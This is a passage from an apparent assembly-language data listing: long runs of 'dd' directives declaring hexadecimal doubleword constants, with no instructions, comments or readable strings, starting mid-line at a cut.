3DD32FEBh dd 55BCAEB2h, 6DFF4Ah, 0C90BA011h, 40183520h, 0B12568F3h dd 0E827182Bh, 3F76B58Fh, 92E5D643h, 54CBA9DAh, 3ED42F41h dd 1E898347h, 2465F658h, 137E0FADh, 2D32BBA6h, 52CC765Fh dd 0AAAD45FFh, 1073A02Dh, 63A2264Dh, 3A2700CCh, 0E6C15DA6h dd 44520826h, 4F69F400h, 1615BA0Fh, 0B06841CCh, 0D63B219Ch dd 79C5955Ah, 69C010E7h, 632CAC00h, 0D8281404h, 8477D2EDh dd 805D4EACh, 0E0C03DB0h, 52175304h, 3EB8ABB2h, 2CF84B70h dd 0DEA84AC0h, 0D094FE68h, 0F4347525h, 1E0F0097h, 0B777F93Ah dd 5795DAD0h, 86E77DAEh, 0C00D1462h, 2201FCB9h, 81EF094Eh dd 6B5DE8B0h, 12D3D7BCh, 2F3F3951h, 4746B744h, 5E0E0F8Ah dd 0BF582C68h, 0F082F896h, 6EF03DEh, 0D9017139h, 0CB842F50h dd 9F78180h, 4EBEFE66h, 82D74F8h, 3EEB6659h, 0E8037ABh dd 216CEE05h, 0D877F733h, 8F04B101h, 4B1C3514h, 60D471F1h dd 0EBB303Eh, 0ACF6150Ah, 689E8197h, 317A0A03h, 7CD818Fh dd 0FD16C9D2h, 0E92ECA9Ch, 2583D648h, 0ECE42998h, 85E9C0BFh dd 3C028823h, 0D7F93E2Dh, 980A571Eh, 0AE2C68h, 0AF2CCBF1h dd 5F973135h, 9217F987h, 2F5E5FBCh, 91B95512h, 99D1AB97h dd 0AF4C1E5Ah, 0AD39955Bh, 12C77052h, 0A330FE4Ah, 48E555CFh dd 3C09F10Eh, 1C828644h, 0B3A0B9D1h, 72373FC9h, 60C7595Fh dd 8D19E09Fh, 0DED1D035h, 0B9722D2Ah, 6A4CB009h, 9D84DFCDh dd 661B8051h, 802E074h, 73EB04B9h, 5BE78672h, 0F283F34Eh dd 0E671F7Ch, 83EC4655h, 0E234B576h, 0B2580626h, 0C2F32B4Eh dd 7627BB07h, 21C31A92h, 0EBA70F5Eh, 10EB3B44h, 858287Fh dd 0D2081C29h, 0F7800FA4h, 5BF930C3h, 88235BDFh, 0ECBACCFEh dd 55048B57h, 1862ADE5h, 0FB70098h, 5B3BFA28h, 0FEAB0453h dd 27C680C7h, 72CA6706h, 4FA0478h, 0B00F914h, 3A850FDBh dd 10923EE1h, 1B682720h, 660CA375h, 28207592h, 7DEEE4Eh dd 0F628E180h, 71D127D9h, 47888AF1h, 0C5D0A7B9h, 1062C3D8h dd 162F4B1Ch, 46455525h, 0AF3B582Bh, 0DB6A70Eh, 0BB51E710h dd 18F226F7h, 4CA508ECh, 46E86804h, 79C148ACh, 0EE74B159h dd 4E058560h, 60EBD1E2h, 8640AF2Eh, 0E0C57C81h, 59027B21h dd 0C12E78E5h, 0E37725EFh, 0F0D9E7B6h, 97E6E0A4h, 517F466Ch dd 0FEF82632h, 8527152h, 0F825B7EAh, 206C94Dh, 15A5C480h dd 94F3C04h, 0AB1664ECh, 0E574FA4Dh, 1066429Dh, 0D60CE896h dd 11762E05h, 0C64037CDh, 6A07278h, 4D2CB945h, 0E94ED2F8h dd 63231FC0h, 0EB354EA4h, 60EDCC1h, 4E36ED6Bh, 856003F9h dd 785A685Fh, 94D7E980h, 32B12454h, 0BE03AD0Eh, 65A3C0C0h dd 8C7AE168h, 29138724h, 0C2FE5983h, 0AA1047Dh, 3EE1E95Eh dd 9E9BBDF8h, 3A6292D1h, 68B09AB8h, 8BC63F40h, 427D3F9h dd 197E9ECDh, 1BC9BA50h, 1273C320h, 0BC6E5B8Ah, 397102C6h dd 42FB292Bh, 7080BCBh, 12A80A84h, 140AE658h, 426DC76h dd 32621EA2h, 0CF5A04FFh, 0EC31172Fh, 503A190Bh, 5E12AA6Ah dd 0E1755D1Fh, 0C76B112Dh, 0DE008765h, 5D182199h, 896E41Ah dd 4B175659h, 0B66349F8h, 81EC9D89h, 3FD4334Ah, 5EA01F30h dd 0F87E5E2Ch, 73C434B2h, 2EE089FBh, 0FC2116D3h, 216ACDEFh dd 30C82F6Ch, 0F159B573h, 7F40B2A0h, 8E104968h, 0BF29D755h dd 58B7ABD2h, 5A6CB74Eh, 7212A3B2h, 87E92053h, 4F50C32Fh dd 63F59B1h, 5EC1F7B7h, 307A14B9h, 3A9EF2F4h, 0FF4AF1C2h dd 0D6D8CA05h, 6E10F9E9h, 5F034C98h, 2E3E09FEh, 0C5577742h dd 5E6B2D2Eh, 0F6D44D8Ah, 0B83E8449h, 57800909h, 65B7B92Dh dd 1129BF48h, 0E476D73Dh, 34830D05h, 9C0F901h, 5F6DFC08h dd 3CEC9Fh, 683151BEh, 0AE46C181h, 6A97CE2Dh, 0D1D0573Dh dd 75D5E918h, 1694EF63h, 0EEA75731h, 0CEE5D06h, 1EC3051Bh dd 0BEA68BC2h, 0D70124C2h, 54ADA765h, 52B08243h, 13C27726h dd 30B37655h, 7B32A018h, 868B7A4Ah, 0D71BB715h, 12D5881Eh dd 5B7F4543h, 0DEA5FB56h, 0D6C6E87Ah, 404927ABh, 0FEED35E9h dd 2D59C8BFh, 4C4B75DAh, 0AD14B942h, 0CD81FB94h, 402D7A69h dd 287F34F4h, 0D7315C13h, 9FE1CC13h, 0EDDC603Bh, 0E02E4B61h dd 7F02EB75h, 0FCAC4912h, 707625A0h, 7AB0A91Dh, 0C98C281h dd 29919EBCh, 0EA406AC6h, 30C42880h, 70B220E8h, 87D98395h dd 269E25F5h, 0C12767Ah, 0B8076212h, 0BF937BC1h, 0FE1CBD2Ch dd 159E08A8h, 5515650h, 326E6368h, 0ABCD124Dh, 0E9C212B7h dd 0C67F94BCh, 70B09745h, 80165BF8h, 35A212C3h, 160560C4h dd 0C8D8671Dh, 2DFC884Bh, 93555A5Bh, 407FFBFAh, 987832Dh dd 5158E628h, 0E085167Dh, 1BE40580h, 0A3A7C0E9h, 203A117Ch dd 0FB2BD28Bh, 0FC771457h, 1CF3649Ch, 0A1C9A95Ch, 6A19E789h dd 5E30A6A2h, 8F6AC318h, 0EF01111Eh, 0E9085039h, 125DE327h dd 888820E5h, 0A35052C7h, 58E2B180h, 982857E4h, 9CC92D18h dd 44A0586Eh, 28263DA9h, 4781D94Bh, 0D1F7CF87h, 0C47208B0h dd 654FFCDDh, 0E400BFE1h, 486A66F5h, 0AD071473h, 0CF72E630h dd 6547F60h, 0D327E935h, 0C03399FBh, 0C38A49EAh, 17AB8FDh dd 66D330C4h, 90C83B5Ah, 0F8C04FCFh, 5D68F182h, 76159DECh dd 573C255Bh, 4BA043E6h, 0F7E81EF6h, 5B60049Dh, 5F8636EDh dd 4776180Eh, 0B2C5482Ah, 0EB19682Ch, 0DFBDCE42h, 4242A365h dd 9FB077B4h, 32623368h, 159241Fh, 0C31DC280h, 0F0BFA59Fh dd 850B0575h, 400B7054h, 5F8E24B7h, 0A925BF08h, 9CEDD1BBh dd 443A09E1h, 7E7EDEDh, 0EC72612Ch, 0C041EA20h, 276770A9h dd 294051D2h, 0AC0D8F7h, 3F722505h, 267F9087h, 41CCD718h dd 7054243Ch, 6F4AB06Ah, 0BDC74038h, 62359976h, 0EA5A2EBh dd 596F12C2h, 0A9E8B924h, 0D0297631h, 1C68081Ch, 0E581A14h dd 0E80B907Fh, 0B53580D2h, 6122572Fh, 0ECD0ABDAh, 0C329246Bh dd 32C05A00h, 0BB7DAE9h, 167FFAh, 0D95D3A2Fh, 0EF47ADF9h dd 68C80F81h, 683C797Fh, 0FEE86FC2h, 0F20997D0h, 863C175Ah dd 900DEEBAh, 58EF907Eh, 0EA8A84A3h, 60FC04F7h, 7310EB29h dd 144F7C08h, 0A702D14Ch, 0AB2D7268h, 4647C039h, 581F0F22h dd 4049E8C1h, 6982C700h, 5AB72E02h, 8195FAEDh, 21EE2F5Fh dd 0F5835CC0h, 5E2C3A02h dd 0A31D60D4h, 0C37EE3EFh, 56A8B85Fh, 9ED0A94Bh, 0DEA0D892h dd 9D0F01B8h, 2317BE39h, 0E0CA300Bh, 0CE477162h, 0EB6057B3h dd 0A095EE83h, 8F45BD37h, 99462FE9h, 0F39A2075h, 7DCB376Fh dd 7B583020h, 363EB43h, 0AEA144Eh, 508C33Eh, 0C8C4AEE9h dd 0DC9D4B63h, 49F66F8Dh, 0E6DF51A5h, 4983FACBh, 0ED33B3B1h dd 8D1C506h, 0E2FBF7ECh, 0C9C21A4Ah, 5F085867h, 501EFBB8h dd 0FEEB1685h, 0CE6EDA8h, 2E436813h, 0CB2DAFh, 45058ED0h dd 47E13B5Bh, 0B06EB07Bh, 0FC2E3588h, 2D090275h, 0C37262Ah dd 6788CF76h, 5650097Ch, 680F9649h, 57530079h, 266F0768h dd 0B1949F44h, 1490CD90h, 7766C707h, 21FF3925h, 216B6F32h dd 0B28B18BFh, 51DE706Ch, 793F0A09h, 7D87C998h, 7E30448h dd 0E997BBB1h, 8FF412AEh, 5F8F9894h, 8CF8CC89h, 18BC3316h dd 9F974BEh, 0D9715A0Ch, 0A2156A09h, 405DEEA2h, 0B778DD4h dd 0F1016008h, 12081F88h, 0CEDD215Eh, 83000422h, 7EFD2BCBh dd 9582F85Fh, 0FA0F165Dh, 4EB54B03h, 65226F1Ch, 42425B2Fh dd 0A713D209h, 4812FBA3h, 0A53FAE0h, 52BD8405h, 4EE1CAFFh dd 0E913568Eh, 469280F6h, 0EC0EE681h, 0DF18C869h, 0F46A9202h dd 0B0884373h, 0BD94C3FCh, 0B07DDE42h, 0BFE7987Ah, 68139446h dd 531179Ah, 60E8F0B0h, 90AA448h, 9D5BE973h, 75418E11h dd 2C87E826h, 0B6A0B39Dh, 912B2DADh, 0A7F7A19Ah, 0F9E55622h dd 0ECD755E8h, 290C1584h, 0A3EE9385h, 8CAAD290h, 0A4400871h dd 5AD12588h, 0C7929865h, 0BA4F17B0h, 65DF802Bh, 15B3B26h dd 30C40F79h, 0F78376EFh, 3ECB64E6h, 74660C04h, 0E0AF2882h dd 61400B5Eh, 3AC1BD5Ah, 51D3D337h, 51F50CD2h, 0A8C96039h dd 0EAA0E073h, 7726A4E9h, 0AA1205EAh, 0FE9217AEh, 0F9AC5229h dd 0BB281310h, 0C05F1F8Ah, 64DD2BBFh, 0D19FE975h, 96014428h dd 0EA206894h, 0AF7D973Eh, 7F7144EBh, 0A53EACAAh, 6824D1BEh dd 0FBA82BBFh, 6BDFE982h, 35F820CBh, 9AF443C3h, 177B996Fh dd 0D75EE6E4h, 16C2AA0Eh, 311E7F5Dh, 0F24BDCB5h, 9894C5Dh dd 66DC6578h, 0D5CE886h, 0A612E926h, 0EABE5681h, 0C547390Ah dd 3DDA5C3h, 0D630ED99h, 5ADA1036h, 3DB8D168h, 0F78E4162h dd 0AAF641D0h, 5C775C02h, 0E4AA70F5h, 313B7590h, 22392CFh dd 0F240D7EAh, 0EE5691C2h, 5E95268Bh, 3D8CC6B9h, 0F05B68BFh dd 0F0DABF2Dh, 1F4683A0h, 0CD4695h, 2A397205h, 868BA5BEh dd 1FFEC54Bh, 5C971BA6h, 0D9BFCBC3h, 0F4526041h, 0C4B5309Bh dd 6FAF056Dh, 0AB8F11A0h, 1308BE10h, 53FF0B29h, 982ABEB9h dd 34EE3A10h, 9409335Ah, 31C2B0C0h, 33142558h, 4BA2CA5Ah dd 0C8090A09h, 25CAC45Dh, 5E5025E9h, 63AED49Dh, 674F0B65h dd 0F4970587h, 18C167ACh, 286958BEh, 0DB9DA5DCh, 0C539F1Bh dd 6841601Eh, 79622F25h, 57EEC970h, 0C399E917h, 81BB1225h dd 3102E394h, 350EF93h, 707A0563h, 0D0DC6D5Fh, 56392DE9h dd 0B63F3975h, 52D0823Ah, 54D5FC77h, 0A4AF3DD3h, 0D1ECAC38h dd 0D5ADEC5Bh, 5540F2B6h, 0FC681059h, 52A25F1Ch, 86A7663Dh dd 0A54FCAD4h, 93FC053Eh, 0A0C9E4E7h, 0E5BA5931h, 0A90F4C1h dd 0F1FC0CD6h, 727D9639h, 6F3EEC41h, 4C851AB8h, 4529999Ch dd 14ED186Dh, 0D4BFCE21h, 524471D8h, 6A403199h, 17B34B5Ah dd 1009227h, 1A7F6820h, 71C43C6Ch, 0CDCDAA13h, 896CB32Eh dd 0E128059h, 5812793Fh, 0F6205F4Eh, 40390D1Eh, 1043331Dh dd 8F052D4Dh, 1BDB9CE0h, 1608BC29h, 6E2DF1C0h, 3AADDDACh dd 4139AD45h, 0C79398B2h, 302911FCh, 7EEFE106h, 1D053101h dd 0C214443Dh, 0BB7235F4h, 236EF10Dh, 0F3789247h, 0F235B263h dd 0B9ABCC4h, 8F67DC24h, 0E132AB69h, 55FE5906h, 170E04C0h dd 0CC40EC2Ch, 0D5D74C42h, 0CA2AA965h, 5C92CA9Dh, 95010DDh dd 5EFEE280h, 14027168h, 31D26FA3h, 24DED486h, 20BB290h dd 0F507EAC0h, 2CF23382h, 440952D4h, 16F957A1h, 0E3815C00h dd 5A0D0A4Fh, 50D6BC42h, 0AC40B20Dh, 82504C59h, 0F3F8823Eh dd 32DBB2Ah, 2A5CF28h, 0FEE1BEA6h, 5267D475h, 0A2E76C77h dd 0DFA0F53Ch, 0CBEEDD35h, 0E32DB003h, 0D07BE643h, 13D55830h dd 0E817E91Ah, 23A85B77h, 0BB8A97E9h, 0B96F85B1h, 5560DE5Ah dd 0F7DEC455h, 0D6A510C5h, 8A0B8894h, 25FA5025h, 9657076Ch dd 0E9CE09BEh, 725EBA88h, 87209C93h, 0B7F987D7h, 6CA5C0C7h dd 79677CCh, 6A6855E6h, 10F6D03Bh, 89E66028h, 7A207725h dd 0E2AF255Bh, 0EE5D1405h, 60BB7100h, 5E534872h, 0E070F031h dd 0BB93F40h, 12783255h, 0F9A7485Dh, 0A4E09549h, 0FE65ED92h dd 693251E1h, 88E2D359h, 5E175FF3h, 0BA7549BAh, 0BE5A1178h dd 29D507FEh, 791BC7F5h, 16C95FD1h, 368049Bh, 0AE2C1D67h dd 6D0B8480h, 0FA114C84h, 855CFA25h, 5B134013h, 16C2A6BAh dd 15A8EC50h, 0C4CBFFE4h, 0B10DED5h, 525914D6h, 82904BFh dd 23C03123h, 2C10E7EDh, 2F724680h, 3BF61EA0h, 54C1713h dd 51C30057h, 0EEC12210h, 0F512C202h, 6EE0A8FCh, 5DD1B339h dd 7E086F3Bh, 5AC18016h, 0C63D02Ch, 5ACB80D3h, 0E9256F55h dd 0BB2140D0h, 0F07916C7h, 0C3B3200Eh, 6B374E49h, 3012E844h dd 2EDCE0FCh, 2C5681D2h, 0B57C0C9Ah, 0E2175625h, 5C3D7AC3h dd 0E5221BC7h, 835F1CECh, 0CB6BF2A5h, 238E4ED1h, 0FEFC3B0Bh dd 0AE89D268h, 5A3B7F97h, 1A58D5E2h, 0FE32B209h, 85984C2h dd 0DC6C57C2h, 492C8848h, 0EF895D1Dh, 629CD487h, 99F6B6FCh dd 0DB685C43h, 0DD5D240Dh, 96122D66h, 7A97A469h, 84E96C16h dd 54C513D2h, 65073A74h, 0B370B356h, 62002BA3h, 0B5515066h dd 7E88838h, 8FC38059h, 3ADB3A28h, 0DF92B2CAh, 0E408BAECh dd 225A160Ah, 38F8225Bh, 0CE0C2D07h, 62A56333h, 0E66431B0h dd 6021F032h, 0C2BABEDFh, 4E27DB68h, 82A64542h, 7F2851EDh dd 0BB34DA84h, 52CD57ECh, 5AD0E008h, 0C90B6DBEh, 5C251917h dd 1130AE2Bh, 95FEDEE7h, 684163D4h, 72366714h, 39440B09h dd 459A5302h, 0FC068B08h, 2016EE88h, 0FBD3A09h, 0EA6F06F1h dd 0DBE09F54h, 0E80EF380h, 4AD98851h, 216B0CAh, 23A28621h dd 0D016F429h, 3B71EE0Eh, 0EC6F5B58h, 2DC24C7Eh, 680CB86Dh dd 311F5FB1h, 81F05D16h, 0C58BEA27h, 35EDCD33h, 892CF528h dd 32A3C46h, 39FE9FFEh, 0BB83D8E9h, 96512FDEh, 9FC59F17h dd 0F2EE39E0h, 9D22FFA4h, 0EBC36913h, 9EFC0589h, 2E3902EAh dd 78866851h, 0EC4197Eh, 326F288h, 95597122h, 55C8D5F7h dd 4DEE5D58h, 850125F2h, 0E9201316h, 4F22C1C4h, 0B2DFE140h dd 8BBE06DAh, 0A4391961h, 0E4EED6B5h, 1985BF31h, 9313E6BAh dd 531612A2h, 93052F7h, 8FD5B227h, 0C3DEEA1Dh, 5C3A031Ah dd 96E70A72h, 0C684BAB7h, 80319971h, 344623A8h, 1F6523B8h dd 0FAC25F23h, 6307F07h, 4C953C67h, 25EF8E14h, 0C6661B2Fh dd 1F25F4F2h, 0FB1BC117h, 0DDC5AB05h, 3B3ACDBBh, 0F142C68Ah dd 1BACE982h, 2FAA4677h, 161911D6h, 95136F19h, 437D0702h dd 7A534056h, 0D0BB8033h, 78DC381Eh, 0EB820892h, 0AF5414Fh dd 9C7A92Eh, 4677B768h, 76170952h, 8E5C26ACh, 2C16A2Dh dd 0DEE6E90Bh, 0F742740h, 9112E24Ah, 0C80B32B9h, 60361EAh dd 1701C1F8h, 0F58022B5h, 28642870h, 8CDA4FBFh, 0F924ECDCh dd 3C175754h, 0E3BF29C5h, 7B998661h, 2D14EAE1h, 22D01892h dd 0B9816499h, 424D0936h dd 52013D71h, 296B01FAh, 0A2987AE4h, 2480E5A6h, 37679BDh dd 0D8902978h, 9045648h, 220CB08h, 0FAC8C3B2h, 6E9A9DD1h dd 2F578B41h, 56ADCE5Dh, 0CFE95B8Ch, 931ABAA8h, 6F52DC78h dd 5A052740h, 5A423A06h, 0DE3DD62Dh, 4FB7E939h, 7A2DF870h dd 12FA3A6Dh, 5E940DFh, 4CF56CE3h, 5994295h, 0F815E907h dd 4BED966Dh, 0A928BF1Ah, 0CD4FF1F2h, 65EC3313h, 5B1EC57Ah dd 31E2EF87h, 8280E96h, 0C303E665h, 909FFFC6h, 0AAF7E901h dd 68B49799h, 0AA3A31A1h, 0DBF83120h, 0C3F280FEh, 71915213h dd 0F05E62A8h, 636B1E7Ch, 0D2F64A7Fh, 88A496CCh, 581AE679h dd 0F7F78674h, 40E30553h, 0FB14C87Fh, 2A011852h, 89B3780Ch dd 817AA131h, 370EC43h, 211CC0BDh, 0BD7CB543h, 0E56DC581h dd 4243979h, 0F8D95001h, 487217A9h, 4FB30737h, 0FC5BE579h dd 0E2761012h, 5752460Bh, 0C00B8FD7h, 6ABF754Ah, 656F2D0Fh dd 0D02566FCh, 0CA80A821h, 2EF4F9E0h, 5E23DC1h, 0B8ADAA8h dd 0E372F540h, 116F0748h, 0A381F582h, 877AA11Ah, 5735160Ch dd 84E8E911h, 0BBF228Bh, 50765700h, 6E025968h, 17E93DDCh dd 415177A5h, 2C0DCB81h, 54FD3482h, 2BEA8D6Ah, 815164AEh dd 4DCFB96h, 0F11FF4FBh, 18892B5Fh, 0B505B730h, 0C6CF95F9h dd 2C1D51Dh, 0B44AD7EEh, 9DA44614h, 2AAFF135h, 32B976BCh dd 64C8D389h, 69EC6061h, 3780F9C1h, 846C64Bh, 41DEFB1h dd 0F443DCC5h, 4657E875h, 0F16B02FCh, 88940A2h, 163F0EFAh dd 0D9295E67h, 5BF3E877h, 49BD0B05h, 0F44273A7h, 85480709h dd 2FB17B80h, 54AFC17h, 0D6406FBFh, 0BF44D057h, 88246DAh dd 0F625D6D4h, 3C8BF085h, 805C34B7h, 9AF230D9h, 0C95E5F32h dd 8FD20FDh, 81DC415Dh, 7B572740h, 39AF8B2Bh, 159D975Ah dd 29740500h, 29E947BBh, 3B41D7Dh, 7A0B2FC7h, 0DA84E83Ch dd 0D8A1DDACh, 90BD00C1h, 377706FAh, 0A65EF529h, 256A652Fh dd 0A2EE44B1h, 0AC5D3109h, 63683993h, 0B9FF5BC5h, 2D192674h dd 870C9BACh, 0FC67B88h, 4535048Fh, 0BFD80667h, 17B6BF93h dd 6B549575h, 0F3B0B7D4h, 54811459h, 17B8CB2Ah, 0F75A2CE9h dd 0C75A8E5Ah, 86BBF241h, 750DFB01h, 2AD09531h, 0BD300116h dd 7CDFBF0Bh, 487E3B7Eh, 0AA04412Eh, 0AF774969h, 124A49BCh dd 0E8C8EB60h, 0F6D95050h, 66EE0B08h, 828E8059h, 7E8DEF16h dd 0F858BB68h, 246F1111h, 0BD89F01Ch, 764EFDD2h, 0B711F797h dd 0F564A51Eh, 0B1080667h, 769C2078h, 3A7230BCh, 29FCFD0Ch dd 2476245Dh, 0FF010D4Dh, 21B9E788h, 0E5345328h, 0F96DC58h dd 0F4510BB5h, 4AED1708h, 2DF0CE5Dh, 9A8BFAEAh, 44BD06D2h dd 93594E52h, 821C471Fh, 79527F42h, 616FC7A1h, 3EB422ADh dd 0FA88E021h, 9D5AD4C8h, 21AA0702h, 7E806801h, 80C49992h dd 0CEDB914h, 0B8091E30h, 363FD2Ah, 0E9CF2114h, 0B1259E4Eh dd 3F576EAh, 364A2B0Fh, 0FEF10BF0h, 0C9C074B7h, 271FAD7h dd 2A8CF581h, 23F8D8BDh, 16FA685Ah, 0AFD512F9h, 44B8E338h dd 2D5BF8DEh, 0DD5FF0D2h, 0A6684787h, 0F52DC113h, 80593A30h dd 178ED38h, 1CCDF87Fh, 6D2B21E0h, 0CF8929D0h, 5261EC2Dh dd 58C174C5h, 0A37D04EBh, 7AA21272h, 0F174FF7Ah, 169309B8h dd 0AF046C2Ah, 2386BEC7h, 36D52F8Eh, 1347D018h, 1853D482h dd 96555AFEh, 0C10E9395h, 10AC1F60h, 0B904133Ch, 3261342h dd 20BE32AFh, 0D098F4D8h, 56195905h, 2C87D122h, 27F4D727h dd 0C41D12BEh, 2A28EE3h, 0E10A7DC9h, 1A89E021h, 8ED69506h dd 9D685641h, 0FA4BB42Ch, 5D7E552Ch, 998D7FF1h, 0BE9A7BC9h dd 0C9EE3413h, 0BB17450Eh, 0B20160D4h, 1CED6859h, 27B49858h dd 947FFEF4h, 9585F66h, 2CA5290Dh, 65A1AFEBh, 0BF118E30h dd 0FD5B1C18h, 0F2AEC895h, 745E5C4Fh, 0B05FDF3Eh, 0BE803EF5h dd 596412A3h, 564AD4Ch, 0B3A69B58h, 5BDD3AC3h, 2585B988h dd 0DBEBC171h, 873CCAF9h, 0EDE7097Ch, 0C1818653h, 41D6F601h dd 3E85E906h, 10BC96C4h, 0D357C9DEh, 0D9640D5Ch, 582799BCh dd 0F4BF3B94h, 3ED852A5h, 0B3BA32D3h, 6BE98312h, 0CEFF1E82h dd 25394CBEh, 9502CCDEh, 0F7298AC1h, 96EE555Eh, 208BCCB7h dd 881C18BCh, 0EFC253D5h, 464AEA68h, 0FEFEFACDh, 505A52F0h dd 0B212593Ch, 34C4FEB5h, 25879BEEh, 0D7BCC28Eh, 0DC81C506h dd 0B5F99F00h, 0AE430C05h, 4578BD0Eh, 19870782h, 9B1ADB7Ch dd 602A1A7Fh, 3F209B45h, 0AECB4281h, 96EE7CBh, 5832290Ch dd 84A862BDh, 0F12520Ah, 3452010Ch, 0DB8EFB5Bh, 83867024h dd 0E8885053h, 648BFB94h, 7D82B77Dh, 185DFDEFh, 6262CB0Dh dd 433878BCh, 0DCB0570Bh, 5B809B1Ch, 6EA4C20h, 0A745A825h dd 554D98A8h, 353611E4h, 0A15647Dh, 0A377815Ah, 0BA6007D0h dd 4B255FE2h, 17D0FB0Eh, 0BD04B6B1h, 4E7CAE03h, 0D4603282h dd 752574D6h, 8023097Ah, 47B9836Dh, 24A29C31h, 343616F7h dd 0C4298730h, 5F6E8C37h, 64306813h, 5DC9F9ACh, 0A6FF6DF5h dd 0CB2D501Dh, 0EBE165CEh, 9F93DCFEh, 0F62FBED0h, 7FEAC2E8h dd 0A66A493Dh, 87ACD7E7h, 53DF84D2h, 0DED58706h, 18610840h dd 0C1DCE31h, 0C70B694Ch, 0CCEE01E1h, 0D52A2D7Dh, 0C4B53B43h dd 1CCEAD63h, 4A3720C7h, 4B890CCCh, 41F9F943h, 254BBD08h dd 0BAA78531h, 0D729F820h, 0C2609F5Ah, 0D69E627Bh, 552789C2h dd 0D3BF6A6Ch, 571A13C0h, 9976B699h, 9D2E6C56h, 123FEC67h dd 0F58AE394h, 0D994AE98h, 0EEC429B5h, 0F4278AA8h, 0EBDA7986h dd 0E941B27Eh, 8F93EA5Fh, 49450CE7h, 0FCFCE249h, 550E576Bh dd 5E0471C5h, 0D9BFC821h, 9F1830EFh, 0DE965F3Ah, 0BAE99AC0h dd 0E6CBC05Ah, 24073066h, 0FE874614h, 72313AA0h, 2208B0EBh dd 4C6C213Ah, 1C307F28h, 0F329080Ch, 0B6B75E4Dh, 10F8B585h dd 16C80D20h, 0FC451868h, 0E5F7CFBBh, 60ED9312h, 0DA651F71h dd 56D31F1Eh, 3ADFF59Bh, 0B1EAD784h, 0E6213A98h, 8505B690h dd 6DD915E8h, 4465BF0Fh, 0FA456C2Fh, 1A8DBE4Ch, 56CAA2CEh dd 50A68F57h, 0ACD33C65h, 59688293h, 5A4C7F37h, 480A071Ch dd 0AE0E016Eh, 413D857Eh, 2D0844C3h, 897E312Ah, 88684AC1h dd 7B0B87EFh, 0CBFCADEFh, 1AF72D12h, 1ACA8A5Bh, 8229D1E9h dd 7EFBD830h, 69068338h, 55B23FCAh, 659FFA5Ah, 0ABE98935h dd 64098FA9h, 481FE25Dh, 14A325D9h, 0A64CF03Ah, 4839034Fh dd 6EC25640h, 0F9B522D8h, 47FD5213h, 742C1600h, 0FD029D2Ch dd 0DDDD51F3h, 21C7845h, 0B61BE8B8h, 0DB20DF2Ah, 23639FBEh dd 3FC9E09Fh, 3E4A2D41h, 0CC802A09h, 55F418DDh, 0FE021E90h dd 29DF6A2Fh, 58C4B2DEh, 0F3C89D25h, 933A0376h, 6138773h dd 0D8D2384Bh, 0B5078E05h, 1C210311h, 0DD5B6FFDh, 49E929B4h dd 0FE4A331Dh, 585B0DDEh, 39C99C0Ah, 0B805E72Eh, 2D06C514h dd 926352E9h, 0D2902518h, 5072BD20h, 0DAB5188Ch, 7D08822Dh dd 5B8C4F5Ch, 0F2D2E48h, 999C8480h, 0CBA4F844h, 7E3D2551h dd 5405C9CEh, 0BBF613D4h, 6816719Bh, 1A09B640h, 0E011709Ah dd 4A37E945h, 0B849FAACh, 5364755Dh, 0A2B267FEh, 65F8AC4Eh dd 0C9F2E84Bh, 28485673h, 0C10432D3h, 6810EFB9h, 33244E45h dd 0B74B7CEDh, 868B743h, 2D6B120Eh, 9AA7B398h, 124BD792h dd 76ADAE9Ch, 9CFE7D12h, 0E2398001h, 0E3F29C6Ch, 0DD5AD009h dd 3B52D4B1h, 3AA02DEFh, 0E9822AFCh, 0E174BCB6h, 1719B88h dd 0F602EFC0h, 64DBE9DFh dd 3F17BB5Eh, 0A5B00C34h, 0C7602515h, 1016FFD0h, 670C2012h dd 25E904D2h, 0AE7EF2F3h, 13C1FE70h, 0F36A8668h, 0E9A909CFh dd 5E17A17Eh, 0C2878151h, 5970788Dh, 0F5591AFCh, 75590F42h dd 0DB2B30FCh, 52007EA5h, 2FEEE5D5h, 0C0AC225Fh, 0B9DE7702h dd 0EC347C72h, 0FCBF546Ah, 0AF557623h, 97027EA3h, 0D1140368h dd 9DFA74Ch, 0B0446040h, 82C8834Bh, 575AE64Ah, 4E07CA10h dd 4C303AAEh, 0E235276Ah, 0C5CC552Ah, 1C6636A0h, 26750332h dd 7DFFA997h, 83F42FC2h, 70E35A0Fh, 8351BD76h, 70914F3Eh dd 8AF6C101h, 0D5CBDB8Eh, 40DA5690h, 0FDE91486h, 0AC7EF4D6h dd 656827D7h, 98A694D9h, 0D2C59F16h, 99EBE7AAh, 94651554h dd 652803Bh, 5F451B42h, 24AFD6CDh, 8A7C0709h, 0D5E43F89h dd 1C686318h, 0DECE425Bh, 6A62ED0Fh, 0EF2E7F8Bh, 58320854h dd 94F5020Eh, 0FD17AA3Eh, 39322DEEh, 57C1D5B8h, 72F67AF0h dd 23E60F5Bh, 0AF7AF312h, 0DB43C269h, 0BBBF4EC9h, 4A2D8E21h dd 8EE9CB2Ah, 5FF989E9h, 6F63B92h, 427C2559h, 5DFBD25h dd 0CDA829BFh, 27D0238Eh, 8B117705h, 5868F453h, 600156BFh dd 45DB90EAh, 0E72DFE00h, 17A8C46h, 70551D0h, 60EA1C2Ah dd 0FEAAB401h, 0EBC480CCh, 0C0B6F4CCh, 0E508DA0Ch, 25622EE9h dd 0E055AD28h, 0D2D70A13h, 0D2821FA8h, 0D1A781AEh, 3BDCF8E2h dd 0ACCA7397h, 4E5F0907h, 0EA018C03h, 0E908A041h, 7EBE2575h dd 8A45FF8h, 5A1828BCh, 80C421EAh, 4713F281h, 0EAFD04h dd 196B3B56h, 0D05CF73Fh, 703305Eh, 7F789A05h, 513507BFh dd 0A0642E22h, 0B694AAD0h, 7727A592h, 68B99023h, 0CC5A5A55h dd 849D4266h, 17EF54FCh, 0EDF34015h, 53233761h, 2588349Eh dd 0D3522FF6h, 0F5BB7FAh, 757C84BCh, 1EF3CCFh, 27C0F875h dd 214C08E7h, 0A08B3B20h, 950B7CC6h, 0C7CBB32h, 0EF967F52h dd 4A5D4CB7h, 0FA26C4C2h, 2D5B6B88h, 26D1FECEh, 553D8E09h dd 0AB4FDB51h, 2C50C073h, 30E6B06Bh, 0EFFB4948h, 0AC0BB3FCh dd 275755C5h, 0B6308F1Eh, 9513E921h, 0C25FC4ABh, 83A2C278h dd 1337B1Ch, 0DFB450D5h, 7BC4C380h, 0E4D7E5E5h, 0FE5E57FAh dd 39531781h, 823D253Fh, 0A360C3D4h, 0FE2F6608h, 174AF86Eh dd 0CC189668h, 297EA549h, 0E1851E4Ah, 0B1A08881h, 1918B900h dd 7466C23Dh, 5ABB8497h, 0CCA7E7AAh, 4D680C83h, 0E9129B2Ah dd 